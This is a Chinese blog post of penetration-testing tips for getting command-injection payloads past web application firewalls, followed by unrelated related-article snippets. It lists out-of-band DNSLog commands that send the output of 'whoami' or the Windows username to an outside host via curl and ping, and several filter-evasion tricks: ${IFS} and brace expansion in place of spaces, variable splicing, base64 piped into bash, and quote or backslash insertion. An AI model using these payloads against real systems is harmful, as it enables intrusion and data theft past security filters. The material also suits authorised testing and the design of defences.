渗透测试中waf命令执行的绕过经验技巧

news/2024/11/7 7:34:59/

管道符

;顺序执行,命令之间没有逻辑关系正常顺序执行
&&逻辑与; 当命令1正确执行后,才会执行命令2。否则命令2不会执行两个命令都会执行
||逻辑或; 当命令1不正确执行后,命令2才会执行。否则命令2不会执行mi会执行whom

其他特殊符号

符号作用
单引号,在单引号中所有的特殊符号,如“$”和“`”(反引号)都无特殊含义
"双引号,在双引号中特殊符号都无特殊含义,但“$”、“`”(反引号)和“\”是例外,拥有“调用变量值”,“引用命令”和“转义符”的特殊含义
`反引号:反引号括起来的内容是系统命令,在Bash中先会执行它和()
$()和反引号作用相同,用来引用系统命令
#在shell脚本中,#开头的行代表注释
$用于调用变量的值,如需要调用变量name的值时,需要用$name的方式得到
\转义符,跟在\之后的特殊字符将失去特殊含义,变为普通字符

DNSLog带命令

Linux:
curl http://`whoami`.uvlmxy.dnslog.cn
ping `whoami`.uvlmxy.dnslog.cnWindows:
ping %USERNAME%.uvlmxy.dnslog.cn

绕过空格限制

${IFS}

root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# cat${IFS}tmp
one
hh
nihao

重定向符<>

root@mon-one:~/tmp/tmp# cat<>tmp
one
hh
nihao

{,}

root@mon-one:~/tmp/tmp# {cat,tmp}
one
hh
nihao

使用环境变量

COMMAND=$'\x20-al';ls$COMMAND

绕过命令黑名单

拼接

root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# a=ca;b=t;c=tmp;$a$b $c
one
hh
nihao

base64编码

root@mon-one:~/tmp/tmp# `echo "Y2F0IHRtcA=="|base64 -d`
one
hh
nihao
root@mon-one:~/tmp/tmp# echo "Y2F0IHRtcA=="|base64 -d|bash
one
hh
nihao

单引号/双引号

root@mon-one:~/tmp/tmp# ca''t tm""p
one
hh
nihao

*反斜线*

root@mon-one:~/tmp/tmp# c\at tmp
one
hh
nihao

$@绕过

who$@ami

如果觉得有用,感谢师傅给个赞支持下


http://www.ppmy.cn/news/777139.html

相关文章

现在如何注册台服服务器,《英雄联盟手游》台服账号注册教程 台服拳头账号注册步骤图解...

lol手游台服账号怎么注册&#xff1f;台服现在已经公测了&#xff0c;国服的玩家在也不用去其他地区服务器进行体验了&#xff0c;在中文大区内进行对局&#xff0c;体验起来的感觉绝对会比其他地方要好很多&#xff0c;不过目前很多小伙伴还没有账号。下面就为大家带来lol手游…

“深入探索Java的多线程编程技巧“

Java是一种支持多线程编程的语言&#xff0c;通过使用多线程可以实现并行处理和提高程序的性能。下面是一些深入探索Java多线程编程技巧的建议&#xff1a; 线程基础知识&#xff1a;了解Java线程的基本概念&#xff0c;包括线程的生命周期、创建和启动线程的方法、线程的状态等…

Go 语言配置SDK

问题&#xff1a;‘go‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件 的解决方案。&#xff08;window10版本下&#xff09; 该问题出现说明go环境变量失效了&#xff0c;解决办法需下载SDK重新配置环境变量&#xff0c;具体方法如下&#xff1a; 基本介绍&#xff1…

现在如何注册台服服务器,《英雄联盟手游》台服怎么注册账号 台服注册账号方法...

12月10日&#xff0c;也就是今天&#xff0c;英雄联盟手游不仅更新了新内容&#xff0c;还开放了包括台服在内的一大批服务器&#xff0c;虽然这次依旧没有国服&#xff0c;但是大家可以进入台服进行游戏&#xff0c;再也不用看英文或者日文了&#xff01; 一、登陆注册页面 PS…

XXE漏洞学习

1、XXE简介 XXE &#xff08;XML EXternal Entity&#xff09;即XML外部实体注入攻击&#xff0c;是一种常见的Web安全漏洞&#xff0c;发生在应用程序解析XML输入时&#xff0c;没有禁止外部实体的加载&#xff0c;导致攻击者可以通过XML的外部实体获取服务器中本应被保护的数…

某游戏研究之字符过滤类-WorldFilter

所谓字符过滤器&#xff0c;常常用在聊天的内容&#xff0c;比如一连串的骂人难听的话&#xff0c;我们要屏蔽掉&#xff0c;避免造成不好的东西&#xff01; 当然我作为中华天朝一个有文明有素质的人&#xff0c;肯定偶尔会做这样的事情啦&#xff0c;特别是打LOL的时候&#…

XXE详解

一、XML基础知识 1、XML简介&#xff1a; XML用于标记电子文件使其具有结构性的标记语言&#xff0c;可以用来标记数据、定义数据类型&#xff0c;是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义&#xff08;可选&#xff09;、文…

Mysql截取字符串(含指定字符串)

项目场景&#xff1a; 在将数据落地到数据库后&#xff0c;应业务需求&#xff0c;需要截取特定数据用作另一字段值&#xff1b;如&#xff1a;现有字段areaName值为&#xff1a;海南省东方市…&#xff0c;现想将areaName省份信息截取存到province 问题描述 网上搜罗一圈&am…